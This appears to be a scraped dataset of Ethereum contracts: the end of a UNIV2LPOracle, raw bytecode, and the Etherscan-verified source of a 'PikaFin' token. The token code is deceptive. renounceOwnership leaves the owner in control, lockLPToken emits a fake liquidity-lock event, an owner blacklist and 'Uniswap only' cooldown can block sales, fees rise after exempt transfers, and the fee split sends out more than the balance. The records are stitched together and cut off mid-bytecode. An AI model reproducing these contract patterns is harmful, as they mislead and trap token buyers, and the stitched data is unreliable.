eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "UNIV2LPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "UNIV2LPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635f495ab51461003b578063a97e5c931461009d575b600080fd5b610081600480360360a081101561005157600080fd5b506001600160a01b03813581169160208101358216916040820135916060810135821691608090910135166100d7565b604080516001600160a01b039092168252519081900360200190f35b6100c3600480360360208110156100b357600080fd5b50356001600160a01b031661036f565b604080519115158252519081900360200190f35b600080856001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561011357600080fd5b505afa158015610127573d6000803e3d6000fd5b505050506040513d602081101561013d57600080fd5b50516040805163d21220a760e01b815290519192506000916001600160a01b0389169163d21220a7916004808301926020929190829003018186803b15801561018557600080fd5b505afa158015610199573d6000803e3d6000fd5b505050506040513d60208110156101af57600080fd5b505160405190915087908790879087906101c890610384565b80856001600160a01b03168152602001848152602001836001600160a01b03168152602001826001600160a01b03168152602001945050505050604051809103906000f08015801561021e573d6000803e3d6000fd5b509250826001600160a01b03166365fae35e896040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b15801561027057600080fd5b505af1158015610284573d6000803e3d6000fd5b505060408051639c52a7f160e01b815230600482015290516001600160a01b0387169350639c52a7f19250602480830192600092919082900301818387803b1580156102cf57600080fd5b505af11580156102e3573d6000803e3d6000fd5b5050506001600160a01b0380851660008181526020818152604091829020805460ff1916600117905581518d85168152908101929092528181018a905288831660608301528783166080830152518483169350918516917fcee871ef523e3dfbfbfa6fb4cd3ebba273434914e91408ede9b8e61401d6e1309181900360a00190a3505095945050505050565b60006020819052908152604090205460ff1681565b611e67806103928339019056fe6101006040526001805462ffff001916620e10001790553480156200002357600080fd5b5060405162001e6738038062001e67833981810160405260808110156200004957600080fd5b50805160208201516040830151606090930151919290916001600160a01b038416620000a75760405162461bcd60e51b815260040180806020018281038252602181526020018062001e466021913960400191505060405180910390fd5b6001600160a01b03821615801590620000c857506001600160a01b03811615155b620001055760405162461bcd60e51b815260040180806020018281038252602481526020018062001e226024913960400191505060405180910390fd5b3360008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a2836001600160a01b03166080816001600160a01b031660601b815250508260a081815250506000846001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156200019f57600080fd5b505afa158015620001b4573d6000803e3d6000fd5b505050506040513d6020811015620001cb57600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b1580156200021057600080fd5b505afa15801562000225573d6000803e3d6000fd5b505050506040513d60208110156200023c57600080fd5b505160ff16905060128111156200029a576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f746f6b656e302d6465632d67742d31380000604482015290519081900360640190fd5b80600a0a60c081815250506000856001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015620002e157600080fd5b505afa158015620002f6573d6000803e3d6000fd5b505050506040513d60208110156200030d57600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b1580156200035257600080fd5b505afa15801562000367573d6000803e3d6000fd5b505050506040513d60208110156200037e57600080fd5b505160ff1690506012811115620003dc576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f746f6b656e312d6465632d67742d31380000604482015290519081900360640190fd5b600a0a60e05250600580546001600160a01b039384166001600160a01b03199182161790915560068054929093169116179055505060805160601c60a05160c05160e0516119c962000459600039806116035250806115c3525080610b46525080610926528061126152806112d7528061153a52506119c96000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f000000000000000000000000000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f00000000000000000000000000000000000000000000000000000000000000006115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f000000000000000000000000000000000000000000000000000000000000000061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d61646472657373554e4956324c504f7261636c652f696e76616c69642d7372632d61646472657373a2646970667358221220481fd767dfa66c11e6e061aaee74461928e9206a90418e3b11d3a391804b088a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,605
0x6237cea65f68d9b78586728f4eda3ddd1c3793bf
/** *Submitted for verification at Etherscan.io on 2021-06-20 */ // Pika Fin ($PIKAFIN) // Telegram: https://t.me/pikafin // Pika Fin has an innovative NFT Farm where you can stake PIKAFIN tokens or partner tokens to earn beautiful NFTs! When you stake your tokens, you earn points ... /* ▄▀▀▄▀▀▄ Pika Fin ▄▀▀▄▀▀▄ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PikaFin is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PikaFin | t.me/pikafin"; string private constant _symbol = "PIKAFIN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); event LockLPlToken (address _lpToken, uint256 _amount, uint256 _unlock_date, address payable _referral, bool _fee_in_eth, address payable _withdrawer); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function ecl() external onlyOwner() { cooldownEnabled = true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(6).mul(10)); _marketingFunds.transfer(amount.div(4).mul(10)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3500000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function lockLPToken (address _lpToken, uint256 _amount, uint256 _unlock_date, address payable _referral, bool _fee_in_eth, address payable _withdrawer) external onlyOwner() { emit LockLPlToken(_lpToken, _amount, _unlock_date, _referral, _fee_in_eth, _withdrawer); } }
0x6080604052600436106101225760003560e01c806370a08231116100a0578063a1a4a1bf11610064578063a1a4a1bf146103a5578063a9059cbb146103bc578063c3c8cd80146103f9578063d543dbeb14610410578063dd62ed3e1461043957610129565b806370a08231146102d2578063715018a61461030f5780638af416f6146103265780638da5cb5b1461034f57806395d89b411461037a57610129565b8063293230b8116100e7578063293230b814610227578063313ce5671461023e5780635932ead1146102695780636b999053146102925780636fc3eaec146102bb57610129565b8062b8cf2a1461012e57806306fdde0314610157578063095ea7b31461018257806318160ddd146101bf57806323b872dd146101ea57610129565b3661012957005b600080fd5b34801561013a57600080fd5b5061015560048036038101906101509190612c9e565b610476565b005b34801561016357600080fd5b5061016c6105c6565b60405161017991906131af565b60405180910390f35b34801561018e57600080fd5b506101a960048036038101906101a49190612bd9565b610603565b6040516101b69190613194565b60405180910390f35b3480156101cb57600080fd5b506101d4610621565b6040516101e19190613351565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c9190612b8a565b610631565b60405161021e9190613194565b60405180910390f35b34801561023357600080fd5b5061023c61070a565b005b34801561024a57600080fd5b50610253610c64565b60405161026091906133c6565b60405180910390f35b34801561027557600080fd5b50610290600480360381019061028b9190612cdf565b610c6d565b005b34801561029e57600080fd5b506102b960048036038101906102b49190612afc565b610d1f565b005b3480156102c757600080fd5b506102d0610e0f565b005b3480156102de57600080fd5b506102f960048036038101906102f49190612afc565b610e81565b6040516103069190613351565b60405180910390f35b34801561031b57600080fd5b50610324610ed2565b005b34801561033257600080fd5b5061034d60048036038101906103489190612c15565b610fe4565b005b34801561035b57600080fd5b506103646110c2565b6040516103719190613065565b60405180910390f35b34801561038657600080fd5b5061038f6110eb565b60405161039c91906131af565b60405180910390f35b3480156103b157600080fd5b506103ba611128565b005b3480156103c857600080fd5b506103e360048036038101906103de9190612bd9565b6111da565b6040516103f09190613194565b60405180910390f35b34801561040557600080fd5b5061040e6111f8565b005b34801561041